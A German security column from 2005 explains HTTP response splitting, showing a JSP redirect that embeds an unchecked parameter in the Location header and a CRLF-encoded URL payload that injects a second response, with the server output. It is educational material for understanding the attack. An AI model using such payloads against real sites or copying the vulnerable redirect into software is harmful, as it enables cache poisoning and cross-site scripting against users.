Mittwoch, 22. August 2012


Topthema

Donnerstag, 1. September 2005 | Topthema

About Security #21: HTTP Response Splitting, 1

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/023818)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

HTTP Response Splitting ist ein weiterer relativ neuer Angriff auf Webanwnedungen. Dabei kann ein Angreifer eine Schwachstelle in einer Webanwendung ausnutzen, um eine eigene HTTP-Response in die Antworten der Anwendung einzuschleusen. Wie, erfahren Sie in dieser Folge von About Security.

Grundlagen

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Beim HTTP Response Splitting nutzt ein Angreifer eine Schwachstelle in einer Webanwendung aus, durch die unzul�ssige Benutzereingaben, insbesondere CR- und LF-Zeichen, nicht zur�ckgewiesen werden. Dadurch kann durch einen einzelnen HTTP-Request eine Antwort ausgel�st werden, die vom Angriffsziel als zwei HTTP-Responses interpretiert wird. Das Ziel kann zum Beispiel ein Cacheserver oder der Webbrowser eines Benutzers sein. Der Angreifer hat die vollst�ndige Kontrolle �ber den Inhalt der zweiten HTTP-Response. Um den Angriff durchzuf�hren, sendet er zwei HTTP-Requests �ber das Angriffsziel an den Webserver. Der erste HTTP-Request verursacht die zwei HTTP-Responses, w�hrend der zweite eine beliebige Seite des Webservers aufruft. Das Angriffsziel ordnet die zweite, vom Angreifer kontrollierte HTTP-Response dem zweiten HTTP-Request zu. M�gliche Folgen sind zum Beispiel das Vergiften von Webcaches, das Umleiten von Webseiten mit vertraulichen Informationen und Cross Site Scripting.

Durchf�hrung eines Angriffs

Um HTTP-Response-Splitting-Angriffe durchf�hren zu k�nnen, muss der Webserver vom Benutzer gelieferte Daten in HTTP-Response-Header einbetten. Dies passiert zum Beispiel, wenn Benutzerdaten in den Redirection URL einer Redirection Response (HTTP-Status-Code 3xx) oder den Cookie-Wert oder -Namen einer Response, die einen Cookie setzt, integriert werden.

F�r das folgende Beispiel (nach dem Whitepaper "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" von Amit Klein (PDF)) soll /redir_lang.jsp folgenden Inhalt haben:

<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>

Beim Aufruf mit dem Parameter lang=Deutsch wird eine Umleitung zur Seite /by_lang.jsp?lang=Deutsch erzeugt. Eine typische HTTP-Response des Webservers BEA WebLogic 8.1 SP1 sieht folgenderma�en aus:

 1 HTTP/1.1 302 Moved Temporarily
2 Date: Wed, 24 Dec 2003 12:53:28 GMT
3 Location: http://10.1.1.1/by_lang.jsp?lang=Deutsch
4 Server: WebLogic XMLX Module 8.1 SP1 ...
5 Content-Type: text/html
6 Set-Cookie: JSESSIONID=123456; path=/
7 Connection: Close
8
9 <html><head><title>302 Moved Temporarily</title></head>
10 <body bgcolor="#FFFFFF">
11 <p>Die angeforderte Seite wurde verschoben.</p>
12 <p>Sie befindet sich jetzt hier:
<a href="http://10.1.1.1/by_lang.jsp?lang=Deutsch"
>http://10.1.1.1/by_lang.jsp?lang=Deutsch</a>.</p>
13 </body></html>

Die Benutzereingabe Deutsch ist Bestandteil des Location Headers. Um einen HTTP-Response-Splitting-Angriff durchzuf�hren, wird der Wert Deutsch durch einen Wert ersetzt, der URL-kodierte CRLF-Folgen verwendet, um die aktuelle HTTP-Response zu beenden und eine zus�tzliche hinzuzuf�gen. Dies ergibt folgenden URL:

 /redir_lang.jsp?lang=sinnlos%0d%0aContent-Length:
%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:
%20text/html%0d%0aContentLength:%2023%0d%0a%0d%0a<html>Geschafft!</html>

Dieser URL erzeugt folgende Antwort des Webservers:

 1 HTTP/1.1 302 Moved Temporarily
2 Date: Wed, 24 Dec 2003 12:53:28 GMT
3 Location: http://10.1.1.1/by_lang.jsp?lang=sinnlos
4 Content-Length: 0
5
6 HTTP/1.1 200 OK
7 Content-Type: text/html
8 Content-Length: 23
9
10 <html>Geschafft!</html> 11 Server: WebLogic XMLX Module 8.1 SP1 ...
12 Content-Type: text/html
13 Set-Cookie: JSESSIONID=123456; path=/
14 Connection: Close
15
16 <html><head><title>302 Moved Temporarily</title></head>
17 <body bgcolor="#FFFFFF">
18 <p>Die angeforderte Seite wurde verschoben.</p>
19 <p>Sie befindet sich jetzt hier:
<a href="http://10.1.1.1/by_lang.jsp?lang=sinnlos
20 Content-Length: 0
21
22 HTTP/1.1 200 OK
23 Content-Type: text/html
24 Content-Length: 23
25
26 &lt;html&gt;Geschafft!&lt;/html&gt;"
>http://10.1.1.1/by_lang.jsp?lang=sinnlos
27 Content-Length: 0
28
29 HTTP/1.1 200 OK
30 Content-Type: text/html
31 Content-Length: 23
32
33 &lt;html&gt;Geschafft!&lt;/html&gt;</a>.</p>
34 </body></html>

Das Angriffsziel parst diese Antwort folgenderma�en:

About Security: Die komplette Serie
  • Zuerst kommt eine HTTP-Response mit dem Code 302 (Redirection) (Zeile 1�4).
  • Als Zweites kommt eine HTTP-Response mit dem Code 200 (OK) und einer Content-Length von 23 Bytes (Zeile 6�10).
  • Danach kommen �berfl�ssige Daten, die verworfen werden (alles nach dem Ende der zweiten HTTP-Response, Zeilen 11�35).

Schickt der Angreifer zwei Requests �ber das Ziel an den Webserver, zum einen den oben genannten URL, zum anderen zum Beispiel /index.html, ordnet das Ziel des ersten URL die HTTP-Response aus den Zeilen 1�4 und des zweiten URL die aus den Zeilen 6�10 zu.

In der n�chsten Folge geht es um die Einschr�nkungen des obigen, vereinfachten Beispiels und Schwierigkeiten beim HTTP-Response-Splitting allgemein.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Folgende Links könnten Sie auch interessieren